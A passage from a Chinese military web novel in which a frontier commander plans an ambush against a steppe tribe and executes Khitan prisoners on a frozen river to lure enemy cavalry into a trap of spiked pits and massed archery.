赵平没理会他话里的钉子,语气平淡地纠正:“将军只说‘可以考虑’,从未一口答应此事。”
秦猛顿时被噎住,一想还真是这样。
一种被文字游戏愚弄的**感让他额角青筋跳动。
赵平继续沉声道:“这是帅司吴大帅的死命令,将军也力争过,但被驳回了,只能奉命行事。”
“帅司?”秦猛眼睛危险地眯起,话里夹枪带棒:“果然是个草包!连我军寨的铁匠都瞧不上!”
赵平眼皮一跳,赶紧把话挑明:“就地斩杀刘德福,是为了换取幽州边军增补的粮饷物资。”
“将军让我转告你,就算不在幽州斩首,刘德福也会被押送帅司大营处置,绝无可能送到铁血军寨。”
他顿了顿,声音更沉了几分:“幽州的水太深,涉及朝廷的党争漩涡。牵一发而动全身,将军也有难处。
“边军对此心知肚明,所以有些事只能点到为止。”
“罪魁祸首伏法,就算给了交代。掳掠边民之事,不可再深究。刘德福已死,此事到此为止。”
“到此为止?”秦猛连声冷笑,牙关咬得咯咯响:“那就在今天,我巡视途中连遭两拨刺杀!”
他向前逼近一步,目光如刀般钉在赵平脸上:“一拨是江湖好手,另一拨,是数百名潜入的契丹**!”
什么?”赵平脸色骤变,身体下意识地绷直。
“活口我抓了几个,不信,就在地牢,你自己去审便是!”秦猛目光坦荡,脸色阴沉得能滴出水。
“这么多**摸进来,就为等我落单时下死手。若说这其中没鬼,没人通风报信,鬼都不信!”
他声音低沉却带金石之音,每一个字都砸在赵平心上。
“用屁股想都知道,是幽州那群尸位素餐的蠢货干的!”
“刘德福不死,我们手里还有牌可打。现在为了点粮饷自断臂膀,失去了主动,愚蠢至极!”
他猛地一挥手臂,带起的风吹得炭火明暗不定:“这叫自毁长城,捡芝麻丢西瓜,懂吗?”
赵平越听脸色越难看,他擅长的是沙场练兵,对权谋并不在行。
秦猛这一番话,却将他眼中“理所当然”的交易撕开了口子,让他看到这场交易背后的凶险,越想越觉得帅司这步棋走得仓促被动。
秦猛盯着他,冷冷追问:“你说,帅司是不是草包?”
赵平深吸一口气,沉声道:“秦知寨,有些话慎言。我立即加急上报赵将军,请他定夺。”
他此刻才明白,赵将军看重的这年轻知寨,是因其对危机的嗅觉和对局面的洞察远超常人。
“好!”秦猛立刻接口,“那你务必转告将军!”
“这些上不得台面的阴私手段,不只他们会玩。把我秦猛逼急了,我比他们更懂怎么不讲规矩!”
他的眼神在炭火映照下,显出野性而危险的锋芒。
赵平没有接话,默默点头,将秦猛的决绝记在心里。他知道,眼睛睁年轻将领绝非虚言恫吓。
秦猛情绪稍缓,目光落回那颗头颅上。最终摇头,叹了口气,语气带同病相怜的嘲讽。
“都以为自己是下棋的人,结果呢?不过都是棋子。
区别是,你这颗**,我这颗还活着,还能继续走。”
他声音渐低,仿佛自语:“而且,谁规定棋子不能变成棋手?谁能确保棋盘会被人掀掉!”
他挥挥手,让亲兵盖上盖子,把木盒带下去处理。
赵平见状,立刻命人抬上几口箱子。
箱盖一开,白花花的银锭、金灿灿的金元宝,还有东珠、翡翠等珍珠宝贝,折射出诱人光彩。
“白银一万两,黄金一千两,加上这些珠宝。这是将军拨给你军寨的,不是赏赐,是应得的。”
秦猛瞥了一眼钱财,兴致缺缺,脸色依旧沉着。
这些黄白之物,远不如多一百套铁甲、五十张**实在。
赵平又道:“将军猜到你会憋屈,让我告诉你……”
“有些事不由性子来。帅司和幽州做交易,多要粮饷物资,也是为了边军整体,虎贲军也受益。”
“这个道理我懂!”秦猛叹了口气,“就是心里憋得慌,平白给人当枪使。”
他走到窗边,推开一条
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“关键是上头的人不行!按我的计划来,只要胆子大,粮饷,物资一分不少,还能掌握主动。”
“可惜,我辛苦布的局全乱了!”
他望着窗外阴沉天色,仿佛看到即将到来的风暴。
“秦知寨有勇有谋,将军和我们都看在眼里。”赵平拍拍他的肩膀,指着官署院子内的箱子。
“将军还带来五百套铁甲、五百套鞍具、三百张弓**和一批刀枪。”
“后续还调拨几辆床**和投石车,增强军寨防御。”
秦猛来了精神,脸色稍霁:“哦?这还像点样子。”
军寨近来新兵多,即便靠缴获,铁甲也经捉襟见肘。
这批装备解了燃眉之急。
“还有更重要的!”赵平笑道,“陷阵营兵额加五百!”
“准许你再组建卫戍营,编制一千人!”
“真的?”秦猛脸上露出惊喜,这扩编权力比万两黄金更让他心动。
他之前处心积虑扩编,苦于没有名分。现在多了一千五百个正式编制,简直是天大的好消息!
他脑中闪过几个人才名字,盘算着搭新营架子。
“千真万确!甲胄装备会陆续送达。”赵平正色道,“将军看重你,望你好好练兵,戍卫边疆。”
“是!”秦猛抱拳,声音铿锵。
“请转告赵将军,末将必不负重托!”
他明白,幽州波诡云谲,唯有实力才是安身立命的根本。
事已至此,纠结无益。是棋子是棋手,终究靠实力说话!
“对了,”赵平想起正事,脸色凝重,“将军得密报,今年冬季界河冰封,契丹人可能大举入寇。”
“特命我率千余飞虎卫先行协防,后续将军亲率大军前来。”
秦猛点点头:“此消息,我从俘虏嘴里撬出来了,是伏弗郁部酋帅萧铁鹰,来报双涡堡之仇。”
他嘴角勾冷酷笑意:“正好,新仇旧怨一并了结。铁血军寨的大片荒地,需**的血浇灌。”
赵平一怔,他的情报是虎贲军蛰伏在草原多年的密探冒险传回,没想到秦猛的情报更精准详细。
他对这年轻知寨的侦查审讯能力又高看了几分。
两人凑到一起,汇总各自情报。
秦猛根据地形和敌军兵力,推测了几条进攻路线。
第一个想到双涡堡,那里必是契丹复仇的重点。
其次是铁血军寨,及周边可能被分兵骚扰的边堡。
最棘手的是保护防区内的村庄集镇,让百姓少受荼毒。
两人对着羊皮地图,手指划动,商讨兵力调配和预警方案,官署内的气氛再次紧张专注。
就在两人议论的时候,一个寨兵气喘吁吁地飞奔进来禀报:“将军,草…草原那边来人了!”
第159章 狼**,定伏击
官署内,压抑的气氛荡然无存。
“哈哈哈,老子可算活着回来了!”
自告奋勇去草原执行任务的袁飞返回,他裹挟着满身风雪和草原独有的腥膻味,闯入官署。嘴巴像抹了开塞露似的,自顾自地说个不停。
“**,冬天去草原简直就是遭罪啊!没有柴火,天天就着雪水吃肉干,老子这牙磕的生疼,一有风吹草动,还得趴在大雪壳子里……”
袁飞甲胄上还凝着未化的冰霜,脸上沾着些泥点,头发上有草屑,却丝毫不顾队将的形象。
热气腾腾的驴肉火烧,汤饼,酱肉被端上来。
他一屁股瘫坐在炭火旁的矮凳上,抓起驴肉火烧,酱肉便往嘴里塞。边吧唧嘴,边唠叨着。
“美味呀!”青年吃着热乎饭眼眶湿润,甩开腮帮子猛嚼,油水顺着嘴角往下淌,含糊不清地嚷道。
“这草原果然够宽广,荒草丛生得能埋了马腿,山峦山沟交错,地势差不离,跟乱麻似的,游牧部落一旦迁徙,找起来比大海捞针还难。
吴二他们仨找黑狼部落的踪迹,据说快把那片草原翻遍了,才寻着牲畜粪便,找到水源……”
“哼,吃饭都堵不住你的嘴?”赵平被他唠叨烦得不行,斜睨着袁飞这不雅的吃相,更是无语。
别人不知道,他却是知道袁飞的身份。也是飞虎卫头号刺头,跟另外一个刺头徐强凑在一起准没好事,被赵将军丢到了这座边寨历练。
成效是显著的,军功有了,又晋升。
只是好像比以前更加跳脱,嘴巴根本闲不住。
赵平听着他嘴里还不时蹦出脏话,忍不住斥道:“你现在可是亲卫营队将,注意点仪态,岂能污言秽语连篇?秦知寨还在这儿呢……”
“没事,秦知寨嘴里零碎比我还多。”袁飞嘿嘿一笑,不以为意,摆作死猪不怕开水烫的样子。
他见到赵平又准备啰嗦,含糊应着“知道了知道了”,终于消停了会儿,手里的动作却没停。
秦猛没空搭理他,正翻开袁飞带来的布包,一股熟悉的油腥混着枯草的怪异味道扑面而来。
他皱起眉头,指尖捻了捻布包边缘的绿褐污渍:“这草图是放在何处?怎么有股怪怪的味道?”
“没、没什么!”袁飞的咀嚼动作猛地一顿,耳尖微微泛红,眼神有些闪躲,含糊着辩解。
“许是路上沾了草原的草屑……”
秦猛与赵平对视一眼,彼此眼中闪过了然。
——这里面定然有故事。
但此刻显然不是追问的时候,秦猛指尖一挑,将布包里的草图铺在案上,赵平立刻凑了过来。
那是一张用炭笔勾勒的粗糙草图。
是吴二、陈石、赵虎三人传回来的关键情报:
正面是黑狼部落的位置,距离军寨有多远,大致地形图,酋长大帐的穹顶标记、马厩的围栏轮廓、粮仓,角楼等都标注得清清楚楚。
部落几个出入口大概的防守兵力,及警戒程度,甚至连巡逻兵的换岗路线都画了简易符号。
背面则是密密麻麻的蝇头小楷,墨迹虽有些晕染,字迹却依旧工整,写明敌方位置,作战的人有多少,与附近部落关系等信息。
这就是一副黑狼部落的布防图。
最后更是写明了,黑狼部落派多少兵入境攻打。
“好东西!”秦猛的眼睛瞬间亮了,指尖沿着图上的标记滑动。
“那密信上内容,果然是借刀**之计。黑狼部落两天后调动八百精锐,入境袭击铁血军寨?”
他抬头看向赵平,语气里满是振奋。
“有了这布防图,狼戎**部落的要害在哪、兵力如何分布全清楚了,只要时机得当,咱们完全能展开雷霆突袭,端了这鞑虏窝点!”
“没错。”赵平点头附和,指尖点在粮仓位置:“此处是部落命脉,若能烧了粮草,**的锐气先折一半,不用打,这个寒冬就能要他们命。”
“这是我进入草原之前,描绘的北狼口周围的地形图。”袁飞在麻布上擦擦手,从腰囊里取出一块素圈布,揉搓成团,丢给秦猛,赵平。
“你起来走几步能咋的?”赵平见了,怒目而视。
袁飞压根就不鸟他,继续吃喝。
“哎,赵统领,这是正常的叛逆,甭跟他一般见识。”秦猛一把拉住赵平,看另外一份草图。
潦草地勾勒着山川地形,可以看得出来地势非常险峻。与拒马河紧邻着,造成的结果就是有浅滩入境,也极为困难,想绕路得多走几十里。
草原部落人多了,踏入别家的地盘,容易引起冲突。所以,黑狼部落的**来犯,极可能会如以往那般,每到冬季从北狼口入境劫掠。
事不宜迟,秦猛当即让人去传秦大壮、李山、刘铁柱、常勇等人般
他又让赵平请来了飞虎卫的周扬、徐强等将。
不多时,官署内便聚满了将官。炭火的噼啪声与粗重的呼吸声交织,气氛瞬间变得凝重而热烈。
“八百**精锐,来者不善。”秦猛开门见山,将两份草图推到众人面前,“但却中了计。咱们占了先机,与其被动防守,不如主动伏击。”
“诸位说说,怎么消灭他们?”
“我去!”袁飞第一个跳了起来请战,胸脯铁甲拍的哐啷响:“我刚从草原回来,熟门熟路。
北狼口地势复杂,那狼头坡更是险要,两侧是陡坡,中间就一条窄路,正好适合打埋伏!”
“我也去
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!”李山紧跟着起身,手掌按在腰间的佩刀上,眼神炙热,“上次双涡堡咱没机会,这次正好让**尝尝咱们铁血军寨的厉害。”
刘铁柱也不甘落后,瓮声瓮气地补了句:“算我一个,弓箭手光练习没用,要经过实战。眼下是个好机会,正缺**的血磨一磨!”
秦猛压了压手,待众人安静下来才沉声道:“伏击地点首选狼头坡,另外,两条路也得做准备。要时刻与接应队伍取得联系,关注**动向。
袁飞带两百飞虎卫,负责堵死**后路;李山、刘铁柱各带本部人马,埋伏在两侧陡坡,等**近了,你们发起攻击,务必重创。”
他顿了顿,话锋一转,“另外,我已修书一封,写了信给南河城寨的魏文,请他出兵相助。”
这话一出,众人顿时愣住了。
赵平,周扬等人没什么反应,南河城寨驻扎着磐石营两千兵马,也隶属飞虎卫,是兄弟部队。
刘铁柱挠了挠头,忍不住问:“将军,咱们自己的人手够了,为啥还要请外援?平白分了功劳出去。”
秦猛抬眼扫过众人,语气语重心长:“诸位,军旅之中不光是打打杀杀,更要懂人情世故。”
他指尖敲了敲案面,“陷阵营刚组建,名气还没立起来,南河城寨不仅老部队,更是咱们的兄弟营。
之前答应过魏文将军互通有无,一起出兵剿匪,这次请他出兵,既是履约,也是结个善缘。
赵将军虽看重我,但他终究不能事事偏袒,日后陷阵营要在边军中立足,若是遇到事儿,少不了旁人帮衬。这点军功换一份人情,值当。”
众人闻言皆是一怔,随即恍然大悟。
李山拉着刘铁柱坐下,抱拳笑道:“将军想得周到,是俺们短视,我等当与兄弟营通力合作。”
赵平与周扬对视一眼,都看出对方眼中的赞许。
——他们此前只当秦猛勇猛善战,且有谋略。今日才知他人情也不差,竟有如此深远的考量。
这等心智,远超同龄武将。
“果然不愧是赵将军器重的人。”两人无不感慨。
伏击狼戎骑兵计划初步确定。
秦猛豁然起身,取过两份草图摊开,抛砖引玉:“诸位,狼戎八百精锐来袭,这是个好机会。
黑狼部落内部情况已经摸清,正值空虚之际。本将认为只需要500精锐摸近夜袭,定能建功!”
赵平也是好战分子,得到草图时就觉得此法可行。
此刻听到秦猛提出来,他第一个附和,赞同:“不错,我也觉得转机来临,只要烧毁粮仓便是大胜。这嚣张狂妄的黑狼部必定损失惨重。”
“不行。”话音未落,就被人肃然打断。
第160章 夜议,狼坡杀机
众人纷纷循声望去,却是周扬站起身,沉声否定计划:“五百人?夜袭黑狼部落断不可行。”
“如何不可行?”赵平见到是老搭档果断否决提议,心头略感不爽,但还是耐着性子问道。
秦猛同样有这种心情,不过他没有丝毫生气。反而觉得沉稳的周扬果断否定,肯定有原因。
“小弟年轻气盛,周兄要是有何高见,尽管说来。也让大伙都学习一下,凡事三思而后行。”
三思而后行?周扬呢喃着,眼前一亮,朝秦猛抱拳称赞:“秦知寨果然文武全才,周某不如。”
秦猛反应过来后,顿时有点汗。
“三思而后行”这句警示语,却被他人给误会了。
“秦知寨,赵大哥。”周扬看看秦猛,又看看赵平,肃然说道:“我们手握草图不假,但此刻不是时候。契丹**调动频繁,不得不防。”
“另外我听说过这个黑狼部落,酋长德克萨野心勃勃,极为狡诈,谨慎,练兵有方,派出八百精锐,必定加强部落防范,夜袭难以成功。”
周扬走到地图前,指尖重重地点在黑狼部落的位置,“诸位请想,德克萨既然敢分兵八百入境,那就是计划出兵,老巢岂会不设防?
这草图是吴二他们多日前所绘,如今形势定然有变,粮仓马厩位置不变,守卫力量则有变动。”
他顿了顿,继续说道:“退一万步来讲,就算夜袭成功了,万一契丹骑兵突然趁火**。
袭击的数百将士就危险了。
我方损失过大,拿什么来防守军寨?
再者,我们派出大队精锐,军寨空虚,若是**闻风而动,大举入侵,后果将不堪设想。”
周扬掷地有声地说着,最后表达自己的看法:“边军职责是戍卫边疆,守护百姓,冒不起这个险。尤其是在这关键时刻,夜袭计划不妥。”
他这番话一出口,让众人陷入沉思。那种求战热情冷却,取而代之的是对潜在风险的清醒认知。
“没错。俺不同意夜袭戎。”秦大壮首个支持周扬的话。
常勇皱眉片刻后,看向秦猛:“将军,夜袭计划没问题,能重创黑狼部落,但不是时候。”
他的言外之意就是不赞同夜袭。
秦猛神色也变得凝重,他听周扬说出几种理由。就明白,还是自己低估了这个黑狼部落。
即便是出其不意能够夜袭成功,自己损失也很大。
搞不好还会被契丹人发现,趁机入境或渔翁得利,那就不妙了。此次夜袭风险比上次要大得多。
秦猛有了打算,却故意装作不愉,盯着秦大壮:“秦部将为何认为不妥?能否说说其中原因?”
秦大壮笑了笑,起身说出见解:“自将军带队夜袭过女真马场,堪堪十日。时间尚短,又杀了那么多人,各部落**肯定有所防范。
咱们上次是钻了空子,同样的法子,**必然防范。”
“不错,秦部将说的有道理,的确说到点子上。”秦猛眼前一亮,看秦大壮有种刮目相看之感。
这秦大壮虽然憨厚,但谨慎稳重,何况当了部将后,肩上担子让他自发开始学习,时常来请教自己,周扬等人,也逐渐成长起来了。
秦猛手指敲击着桌案,顺着那话茬继续说:“不过,你没有考虑到草原人最喜欢面皮,万一吃了血亏不敢伸张,周边部落并不知道此事。”
“没错,我也是这样想的,草原**如一盘散沙,自私自利,巴不得其他部落被袭击实力衰弱。
然后开春了好,掠夺他们的草场,甚至吞并。”赵平一听秦猛这话,在边上说出自己的观点。
“这次夜袭反其道而行之,成功的概率非常大!”
“概率大也不行,我方不能冒这个险。”
周扬见这两人还不死心,板着脸,肃然地说道。
“秦知寨,草原**同样有深谙兵法的人物,千万不能轻视他们,冬季,以应对**为主。
出兵伏击狼戎,是按计划行事,我不阻拦。可要是擅自带兵过界袭击,就不怪周某打小报告。”
周扬涨红着脸,却不肯罢休的表态,转头又看向赵平。“赵大哥,我知道你喜欢主动进攻,但这次却不行。
我记得将军是让你来协助铁血军寨,以防守为主,而不是主动越过界河,夜袭**部落。”
“没错,草原地势复杂得很,那边风雪依旧未停,夜袭黑狼部落有些仓促,秦知寨慎重考虑。”见周扬要来真的,袁飞立刻起身发话了。
他刚从那边回来,深知在茫茫雪原中,各部落犬牙交错,行军极为困难。更何况是夜间。
“何不等打退契丹人,再来考虑此事,急不得。”
“没错,请将军慎重。”徐强等人纷纷劝说。
李山,刘铁柱见状,才跟着表态,不赞同夜袭。
场中除了王善和**没做声,其他人都不看好。
秦猛、赵平相视苦笑,就知道这次夜袭无法展开。
不过两人也心知肚明,夜袭风险大。
周扬说的在理,目前是防范**。一场成功的军事行动,不仅需要运气,更需要审时度势。
“好了。”秦猛没有犹豫,朝众人摆手,最终拍板:“此次夜袭计划取消,但保留,以后再议。”
他又看向周扬:“周兄何须担忧?从你说出几种弊端开始,我就觉得计划太仓促,不过是就事论事,集思广益。”
:“那就好。”周扬心里这才松了口气,抱拳坐下。
秦猛立刻转移话题,重新聚焦于眼前的威胁:“既然周兄说黑狼部落德克萨狡猾,得好好合计。
大伙再议论一下,伏击计划可不能出岔子。那入境的八百**骑兵,才是眼下最要紧的肥肉!”
接下来,众人围着草图反复复盘计划,各抒己见,参与
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其中。
从伏击的信号、接应吴二三人的暗号,到**走哪条路、如何应对意外情况、处理俘虏……
诸多细节一一敲定,连最细微的漏洞都没放过。
由于消息传递的有点晚,**后天就要入境。留给队伍准备的时间不多了,明早就得出发。
夜色渐深时,计划终于定妥,一名亲兵揣着秦猛的亲笔信,翻身上马,向南河城寨疾驰而去。
铁血军寨与飞虎卫的营地里,命令悄然下达。被挑选的精锐纷纷检查**、磨砺刀枪,人人早早歇息,脸上却都带着跃跃欲试的战意。
校场旁,秦猛叫住了正准备回营备战的李山和刘铁柱。
“木工坊改良的新一批军**,先给你们换装上。”秦猛示意亲兵抬过两个木箱,里面全是劲**。
“这次伏击,地利在我,**为先。你们都是老行伍,埋伏的要点无需我多言,但有几点务必记住。”
秦猛抓起一把雪,在掌心搓揉着:“北狼口风大,雪沫子容易迷眼,也更易暴露踪迹。
白天埋伏时,箭矢**机需用厚布包裹,避免反光和磕碰出声。将士皆要穿厚实些,披上白布,趴在雪地里,一动也不能动,哪怕**的马蹄踩到跟前,没有号令,也得给我忍着!”
“将军放心,俺们晓得轻重缓急。”李山重重点头:“如上次围剿那般,俺会让弟兄们提前用雪擦脸,适应寒气,免得关键时刻打哆嗦。”
刘铁柱补充道:“滚木擂石也已备齐,藏在坡后,皆用积雪覆盖。保准**到了眼皮子底下也发现不了。”
“很好。”秦猛拍拍两人肩膀,“对了,前往北狼口要途经双涡堡,派人嘱咐张富贵,王铁山他们,加强警戒,随时准备作战,不可懈怠。”
“另外,若时机成熟,可主动出击!”
“是!”两人齐声应诺,转身大步离去,身影融入夜色。
同一片夜色下,南河城寨内却是另一番景象。
主寨灯火通明,魏文接到秦猛的信后,当即哈哈大笑,将信纸拍在案上:“好个秦猛。果然是越来越出息,难得没忘了我这个老上司。
知进退,懂合作,不拘小节,赵将军没看错人!”
他当即下令擂鼓聚将,以赵将军的名义说明了伏击战,指着地图上的狼头坡,声音洪亮。
“近来契丹**不安分,狼戎又来搅和,铁血军寨压力大,咱们同属飞虎卫,不能坐视不理。
李雄,你点齐三百精锐,即刻出发,去铁血军寨与队伍会合,协同作战,务必让**有来无回!”
“末将得令!”李雄起身,昂首领命。
他心里抑制不住的激动。自上次分别,他一直惦记着与秦猛再次并肩作战的机会,如今果然来了。
三更过后,南河城寨的寨闸门打开,吊桥放下。三百骑兵如潮水般涌出,奔赴铁血军寨方向。
第162章 冰河上的骂声
“直娘贼,给老子走快点!”
**一脚踹在踉跄的契丹俘虏背上,狞笑着吼道。
“走,磨蹭个鸟?瞧瞧你们这群欺善怕恶的货色。”牛五绷着脸,连打带踹,眼中尽是冷漠。
军卒们挥动着皮鞭,在空中抽出响亮的鞭花,驱赶着俘虏队伍,就像驱赶牛羊牲口那般随意。
在这连绵不绝的骂骂咧咧声中,**与牛五带人将二十多个契丹俘虏推搡着押送出主寨。
几名亲兵怀抱数个木盒,紧紧跟随在后,盒里装的正是大当户阿里山和几个百夫长的首级。
另外,在双涡堡抓的二十多个俘虏也全被押了出来。都用粗麻绳反绑着双手,串成一串。
在如狼似虎的寨兵推搡下,艰难地往拒马河走。
这支特殊队伍一出现,立刻吸引了堡内不少军民的注意,人群里窃窃私语,议论个不停。
这动静还引来了飞虎卫的赵平、周扬等人,他们见秦猛亲自带队策马尾随,赶紧打马追上去询问。
“秦知寨,你这是……?”赵平勒住马缰,指着俘虏队伍。
秦猛眼神闪烁了几下,语气轻描淡写:“这些**都是从双涡堡抓的俘虏,干不了活,又贼能吃,白费粮食,我打算把他们处理掉。”
“处理掉?”周扬一时没明白意思,和赵平面面相觑。
“秦知寨是要杀俘虏?”徐强弱弱地问。
“胡扯!”秦猛不等他说完,直接甩脸纠正:“他们不是俘虏,是鞑虏,杀我无数同胞的仇寇。”
“老子这是废物利用,打胜仗的关键。”
“走!跟我去界河边看场好戏,到时候你们就知道了。”
秦猛没多解释,朝几人做了个“请”的手势。随即一夹马腹,乌骓马加快速度,走在了前面。
赵平与周扬对视一眼,都从对方眼里看到了惊疑。也不迟疑,立刻带着亲兵打马追了上去。
队伍走到界河雪墙附近时,秦大壮已经带着数百兵卒严阵以待了。
寨前军营就坐落在附近的林子空地上,后门正好跟这儿相通。**来袭,他最先率队布防。
这会儿,雪墙后方,预先修的掩体和挖的壕沟等防御工事已经准备就绪。依托雪墙预留的狭窄出口,兵卒们梯次散开,悄悄布成了口袋阵。
赵平、周扬见这阵仗,心里清楚秦猛早有准备,是等着**来,也越发好奇他到底要干什么。
众人跟着秦猛登上一处土坡,朝前方冰封的河面望过去。
就见**和牛五已经押着俘虏逐渐走到河中心。
几名骑兵拿着木喇叭,策马跑到靠近北岸的地方,把小口对准嘴,用生硬的契丹语放声大吼。
“对面的**狗听着!这儿是铁血军寨秦猛将军的防区!”
“睁大你们的狗眼看好了,前阵子被活捉的阿巴泰,犯下累累罪行,马上要在这儿斩首示众!”
“你们派来的伏击队伍,大户阿里山和他手下全被灭了!阿里山和几个百夫长的首级就在这儿!”
“喔喝!”几名亲兵用长矛高高插起冻成冰坨的首级。来回策马奔腾,朝着北岸放声狂啸。
“阿里山的狗头在这儿,你们这群杂碎有种就来取!”
“你们不是喜欢**吗?今天就让你们尝尝引颈就戮的滋味!”
“这些杂碎马上行刑,睁开狗眼仔细看清楚了!”
这些都是军中挑出来的快嘴汉子,嘴里脏话连篇,却句句属实,把羞辱挑衅的本事发挥到了极致。
他们一会儿轻蔑地嗤笑,一会儿比画着抹喉的手势,骂草原人只会恃强凌弱,人多欺负人少。全是没种的孬种,不懂规矩,禽兽不如。
界河北岸的契丹先锋军营顿时炸了锅。
这次入侵大周的契丹军,是伏弗郁部酋帅萧铁鹰帐下儿郎。
此刻抵达河畔的正是他的先锋部队,由千夫长隆巴顿统领。
隆巴顿是萧铁鹰帐下勇猛善战,又颇有谋略的将领,奉命在这儿安营扎寨,却一直遵守萧铁鹰“不得擅战”的命令,严防中了周军的埋伏。
之前就算看到游骑被追杀,也强忍着没出兵。
可契丹骑兵向来骁勇桀骜,隆巴顿能压得住一时,哪能一直压得住?
这会儿,河对岸敌人的辱骂和挑衅,就像热油泼进了蚁巢,无数契丹骑兵气得哇哇大叫。
不少人已经冲动地上了马,挥舞弯刀,想冲过河岸**那辱骂的人,却被各级头目厉声喝止了。
就在这骚动不安的时候——
**、牛五已经带人把二十多个俘虏强行按跪在冰面上,排成一条直线,每个俘虏身后,都站着一个手持鬼头大刀的魁梧军汉。
“原来是杀俘…激将法?”
赵平、周扬看到这情景,一下子明白过来了。
“没错,这些废物浪费我不少粮草,治伤也浪费药材。凭什么无故养着?就是等今天派上用场。”秦猛脸上没什么表情,声音冷得像铁。
“我听说萧铁鹰懂汉家兵法,做事谨慎,不会打没把握的仗。
要是这法子能把他激得动兵,就说明来的只是先锋,萧铁鹰还没到。正好趁这机会把眼前敌人消灭。”
赵平、周扬心头一震,暗自赞叹这是个好计策。虽然要靠
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运气的成分,却一下戳中了要害。
“戏已经开锣,我们也该登场了。”
“敌人那**躁模样,咱们准备接战,吃掉他们!”
秦猛不再多言,赶紧和赵平、周扬商量合击的细节。
河心处,**和军汉们狠狠揪起俘虏的头发,逼着他们望向对岸。
俘虏里,像阿巴泰这样少数的硬汉虽然浑身是伤,仍咬牙切齿地怒视着,嘴里骂骂咧咧。
可大多数人知道今天就要死,早就吓得面无人色。
有的对着周军嘶声咒骂,有的朝对岸哭嚎求饶,还有的直接嘤嘤地哭了起来,丑态百出。
“大丈夫死就**,装什么孬种!”
阿巴泰见族人尽是如此模样,气得破口大骂,“周人不是说,十八年后又是一条好汉吗?”
“哼,那话是我们汉家儿郎说的,你们这群杂碎也配?”
牛五嗤笑一声,大步上前,一把攥住阿巴泰的发辫,“你不是骨头硬吗?那就从你开始。
让我看看,你这部落‘勇士’在这儿,还是部落里一个大当户,你的族人有没有胆子来救!”
说完,牛五拽着阿巴泰走到河心最显眼的地方。
这草原汉子被抓后受了不少罪,早就瘦得不成人样了。
“哈哈哈……契丹伏弗郁部的孬种们看好了!这就是你们那狗屁‘拔城之鹰’手下的大将阿巴泰!”
“今天,就在这儿斩了他,你们敢过河一战吗?”
“没胆的鼠辈!只会欺负老百姓,抢他们的粮食,碰到我们大周王师就跑,也有脸配叫勇士?”
骑马的骑士在冰面上来回奔驰,吼声像打雷一样。
与此同时,牛五让人把阿巴泰剥得光溜溜的,像褪了**的白猪,还肆意践踏他,让他发出凄厉的惨叫。
北岸的契丹骑兵看到这一幕,个个气得眼睛都红了,胸膛剧烈起伏,牙齿咬得咯咯作响。
“杀!”越来越多人翻身上马,往河岸**,任凭隆巴顿怎么压制,队伍里已经乱成了一团。
隆巴顿砍了几个不听号令的人,才勉强稳住阵脚。
可当牛五手起刀落,把阿巴泰的头颅砍下来,当成了球踢。
当后面一个个契丹俘虏被拖出来,全被扒光衣服斩首,周军嚣张的嘲笑声随风飘过来时——
契丹军最后一丝理智,彻底崩断了!
“杀光周狗!”
“为勇士报仇!”
震天的怒吼声中,大批契丹骑兵双目充满血丝,不管号令,疯狂催动战马冲上冰冻的界河!
这批人顿时犹如**,彻底引爆了草原勇士们!
第163章 主寨首战告捷
那谁谁说过,榜样的力量是无穷的!
有人带头,就有人跟随,契丹骑兵呐喊着冲杀。
片刻间,便冲出两三百人。
“周狗,有种别走。”契丹骑兵早已怒不可遏,喊杀叫骂。直扑那群肆意践踏族人首级的周兵。
隆巴顿见大势已去,只能长叹一声,又不能坐视不理。带着主力跟了上去,嘴里还在喊:
“不要胡乱冲,保持队形!别中埋伏!”
“若有情况,立刻迂回,分散左右撤下,不可恋战。”
隆巴顿是个不错的将领,奈何部落勇士过于桀骜。
杀红了眼的骑兵,哪还顾得上这些?
“按计划行事!”牛五见敌骑蜂拥而来,冷静地下令。
“**狗真来了!快跑!”
“啊,救命,跑快点,**来了。”
十多个亲兵立刻四散奔逃,慌慌张张地往南岸跑,甚至有人脚下打滑,踉踉跄跄,连滚带爬,那副狼狈样子,更让契丹骑兵放松了警惕。
“杀!踏平这座戍堡!”契丹骑兵见状,狞笑着狂吼。
他们挥刀猛冲,尤其是看到阿巴泰的无头尸身,确认是部落的大当户,被斩首的也是族人。
勇士们更是怒火中烧,拼命催马,发誓要报仇。却没注意前面那群家伙脚下穿着钉子靴。
这些骑兵越来越近,见南岸只有一圈两米高的雪墙,没当回事,纷纷策马加速,想一跃而过。
他们不知道,军寨这段雪墙较为特殊,墙外到河岸的空地上早就挖满了陷坑,坑里插着削尖的木桩,竹木,上面盖着层稻草,落满薄雪。
看着像是处缓坡,踩着能轻松翻越。
契丹骑兵何惧之有?一个纵马飞跃就能跳过去。
见到牛五等人通过窄口逃窜消失,发出震天的笑声。
可很快,他们笑不出来了!
至少上百人追着牛五等人杀,可是雪墙预留窄门非常狭窄,只能供一匹马通过,外面堵着一群
其他其他骑兵则果断分散,向两边加速冲锋试图飞跃。
冲在最前面的契丹骑兵,策马冲上“缓坡”,惨剧立刻发生了!
轰隆的塌陷声接连响起,人马纷纷掉进坑里,被尖锐的竹木洞穿,战马的悲嘶和骑士的惨嚎顿时混在一起,雪墙外转眼就尸横遍地。
“有埋伏!快退!”
隆巴顿在后军看到这情景,脸色煞白,嘶声大吼。
可已经晚了!
“角度上调,瞄准正面,放箭!”
雪墙后,秦大壮声如洪钟,厉声下令。
霎时间,弓弦震动得像疾风骤雨,嗖嗖的破空声不绝于耳。
无数箭矢腾空而起,划过抛物线,像飞蝗一样落入拥挤的契丹军中。
“啊——”箭镞入肉的声音、凄厉的惨叫声、战马的惊嘶声交织在一起。
中箭的人像割麦子一样倒下,运气好的当场毙命,运气不好的,**的人转眼就被乱蹄踩死。
河面瞬间变成了修罗场!
“撤!快撤!”隆巴顿嗓子都喊哑了,眼睛瞪得通红。
“放箭!继续放箭!”秦大壮吼声如雷,嗓音变调。他看不到战况却听到惨叫,也红了眼眶。
步兵队的数百兵卒,加上两百新兵,飞虎卫来帮忙的三百马弓手,上千张**轮番齐射。
箭雨一波接一波,没有间断。
低空中的箭矢铺天盖地,犹如掠过的飞蝗群。契丹骑兵人和马都成了活靶子,伤亡惨重。
偶尔有几个幸运的,踏着同伴的尸体越过雪墙,还没站稳,就被墙后严阵以待的铁甲枪兵围了上来,好几条**同时捅过去,死得凄惨。
交战才一会儿,契丹前锋就损失小半,军心彻底崩溃了。
隆巴顿拼尽全力,勉强收拢队伍,想退回河北岸,固守待援。
可一旦冒头了,哪有机会跑?
秦猛岂会让他想来就来、想走就走?
